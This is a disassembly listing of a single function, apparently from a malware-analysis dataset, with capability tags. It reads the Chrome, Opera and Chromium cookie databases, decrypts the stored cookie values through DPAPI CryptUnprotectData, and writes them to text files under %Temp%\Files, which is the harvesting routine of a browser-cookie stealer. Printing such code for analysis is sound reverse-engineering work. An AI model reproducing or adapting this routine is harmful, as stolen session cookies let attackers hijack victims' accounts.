Function at 0x403ac0
Capabilities:
Encrypt data using dpapi
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4bfc50
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x870
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_AllCookies_list.txt
mov edx, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x403b1b
mov eax, dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x670]
push 0x208
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x403b6a
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x403b60
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404994
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x403bbf
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x403bb5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404994
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cookies.txt
mov edx, eax
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x403bf5
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x878]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x403c3e
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x403c34
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404999
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x403c93
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x403c89
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404999
push edx
push ecx
call fcn.004a24e6
add esp, 8
cmp edi, 1
jne 0x403e47
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_Cookiesgoogle_chrome.txt
mov edx, eax
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x403cd2
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x260]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x403d1b
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x403d11
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40499e
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x403d70
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x403d66
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40499e
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cookiesgoogle_chrome.txt
mov edx, eax
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x403da6
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x468]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x403def
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x403de5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4049a3
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x40452c
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x404522
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4049a3
jmp 0x404522
cmp edi, 2
jne 0x403fa6
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_Cookiesgoogle_chrome_profile_1.txt
mov edx, eax
mov dword [ebp - 4], 4
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x403e86
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x260]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x403ecf
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x403ec5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4049a8
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x403f24
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x403f1a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4049a8
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cookiesgoogle_chrome_profile_1.txt
mov edx, eax
mov dword [ebp - 4], 5
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x403f5a
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x468]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x403def
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x403de5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4049a3
jmp 0x403de5
cmp edi, 3
jne 0x404105
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_Cookiesgoogle_chrome_profile_2.txt
mov edx, eax
mov dword [ebp - 4], 6
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x403fe5
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x260]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x40402e
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x404024
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4049a3
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x404083
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x404079
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4049a3
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cookiesgoogle_chrome_profile_2.txt
mov edx, eax
mov dword [ebp - 4], 7
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4040b9
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x468]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x403def
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x403de5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4049a3
jmp 0x403de5
cmp edi, 4
jne 0x404264
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_Cookiesgoogle_chrome_profile_3.txt
mov edx, eax
mov dword [ebp - 4], 8
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x404144
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x260]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x40418d
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x404183
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4049a3
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x4041e2
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4041d8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4049a3
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cookiesgoogle_chrome_profile_3.txt
mov edx, eax
mov dword [ebp - 4], 9
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x404218
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x468]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x403def
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x403de5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4049a3
jmp 0x403de5
cmp edi, 5
jne 0x4043c3
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_Cookiesopera.txt
mov edx, eax
mov dword [ebp - 4], 0xa
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4042a3
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x260]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x4042ec
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4042e2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4049a3
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x404341
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x404337
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4049a3
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cookiesopera.txt
mov edx, eax
mov dword [ebp - 4], 0xb
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x404377
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x468]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x403def
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x403de5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4049a3
jmp 0x403de5
cmp edi, 6
jne 0x40452c
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._Files_Cookieschromium.txt
mov edx, eax
mov dword [ebp - 4], 0xc
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x404402
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x260]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x40444b
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x404441
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4049a3
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x4044a0
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x404496
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4049a3
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x40]
call fcn.00405bc0
add esp, 4
push str._files_cookieschromium.txt
mov edx, eax
mov dword [ebp - 4], 0xd
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4044d6
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x468]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x403def
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x403de5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4049a3
jmp 0x403de5
push edx
push ecx
call fcn.004a24e6
add esp, 8
lea eax, [ebp - 0x44]
push eax
push ebx
call fcn.0049d450
add esp, 8
test eax, eax
jne 0x404983
mov ebx, dword [ebp - 0x44]
mov edx, str.SELECT_host_key__path__name__encrypted_value_FROM_cookies
push eax
lea eax, [ebp - 0x10]
mov ecx, ebx
push eax
push 0
push 1
push 0xffffffffffffffff
call fcn.00477e90
add esp, 0x14
test eax, eax
jne 0x40497a
push dword [ebp - 0x10]
call fcn.00442640
add esp, 4
cmp eax, 0x64
jne 0x40496f
mov ebx, dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov esi, dword [ebp - 0x10]
mov edx, 3
mov ecx, esi
call fcn.00442bd0
push eax
call fcn.00441a50
add esp, 4
mov edi, eax
test esi, esi
je 0x4045d3
mov ecx, dword [esi]
mov edx, dword [esi + 0x50]
cmp byte [ecx + 0x41], 0
jne 0x4045b8
cmp edx, 0xc0a
je 0x4045b8
mov eax, dword [ecx + 0x38]
and eax, edx
jmp 0x4045bf
call fcn.0041fa20
mov ecx, dword [esi]
mov dword [esi + 0x50], eax
mov eax, dword [ecx + 0xc]
test eax, eax
je 0x4045d3
push eax
call dword [0x4dab44]
add esp, 4
push 3
push dword [ebp - 0x10]
call fcn.00442cd0
mov dword [ebp - 0x50], edi
lea esi, [eax + 1]
push esi
mov dword [ebp - 0x54], esi
call fcn.004a24f4
add esp, 0xc
mov edi, eax
push esi
push 0
push edi
call fcn.004a3c90
add esp, 0xc
lea eax, [ebp - 0x4c]
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x54]
push eax
call ebx
test eax, eax
je 0x404637
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
test eax, eax
je 0x404631
nop
mov eax, dword [ebp - 0x48]
mov al, byte [eax + ecx]
mov byte [ecx + edi], al
inc ecx
mov eax, dword [ebp - 0x4c]
cmp ecx, eax
jb 0x404620
mov byte [eax + edi], 0
jmp 0x40463c
mov edi, 0x4c7b7c
mov ecx, 0x4c7b7c
mov eax, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x404663
test dl, dl
je 0x40465f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x404663
add eax, 2
add ecx, 2
test dl, dl
jne 0x404643
xor eax, eax
jmp 0x404668
sbb eax, eax
or eax, 1
test eax, eax
je 0x404958
lea eax, [ebp - 0x260]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x4047e4
push 0
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e0
push esi
call fcn.00401120
add esp, 0x14
push str.TRUE
push 0x4c79e4
push esi
call fcn.00401120
add esp, 0xc
push 1
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e4
push esi
call fcn.00401120
add esp, 0x14
push str.FALSE
push 0x4c79e4
push esi
call fcn.00401120
add esp, 0xc
push str.1830365600
push 0x4c79e4
push esi
call fcn.00401120
add esp, 0xc
push 2
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e4
push esi
call fcn.00401120
add esp, 0x14
push edi
push str._t_s_n
push esi
call fcn.00401120
add esp, 0xc
push esi
call fcn.004a5e1b
add esp, 4
lea eax, [ebp - 0x468]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x4047e4
push 0
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e0
push esi
call fcn.00401120
add esp, 0x14
push str.TRUE
push 0x4c79e4
push esi
call fcn.00401120
add esp, 0xc
push 1
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e4
push esi
call fcn.00401120
add esp, 0x14
push str.FALSE
push 0x4c79e4
push esi
call fcn.00401120
add esp, 0xc
push str.1630345132
push 0x4c79e4
push esi
call fcn.00401120
add esp, 0xc
push 2
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e4
push esi
call fcn.00401120
add esp, 0x14
push edi
push str._t_s_n
push esi
call fcn.00401120
add esp, 0xc
push esi
call fcn.004a5e1b
add esp, 4
lea eax, [ebp - 0x670]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x404958
push 0
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e0
push esi
call fcn.00401120
add esp, 0x14
push str.TRUE
push 0x4c79e4
push esi
call fcn.00401120
add esp, 0xc
push 1
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e4
push esi
call fcn.00401120
add esp, 0x14
push str.FALSE
push 0x4c79e4
push esi
call fcn.00401120
add esp, 0xc
push str.1830365600
push 0x4c79e4
push esi
call fcn.00401120
add esp, 0xc
push 2
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e4
push esi
call fcn.00401120
add esp, 0x14
push edi
push str._t_s_n
push esi
call fcn.00401120
add esp, 0xc
push esi
call fcn.004a5e1b
add esp, 4
lea eax, [ebp - 0x878]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x404958
push 0
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e0
push esi
call fcn.00401120
add esp, 0x14
push str.TRUE
push 0x4c79e4
push esi
call fcn.00401120
add esp, 0xc
push 1
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e4
push esi
call fcn.00401120
add esp, 0x14
push str.FALSE
push 0x4c79e4
push esi
call fcn.00401120
add esp, 0xc
push str.1630345132
push 0x4c79e4
push esi
call fcn.00401120
add esp, 0xc
push 2
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e4
push esi
call fcn.00401120
add esp, 0x14
push edi
push str._t_s_n
push esi
call fcn.00401120
add esp, 0xc
push esi
call fcn.004a5e1b
add esp, 4
push dword [ebp - 0x10]
call fcn.00442640
add esp, 4
cmp eax, 0x64
je 0x404580
mov ebx, dword [ebp - 0x44]
push dword [ebp - 0x10]
call fcn.00441810
add esp, 4
xor edx, edx
mov ecx, ebx
call fcn.0049acf0
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
int3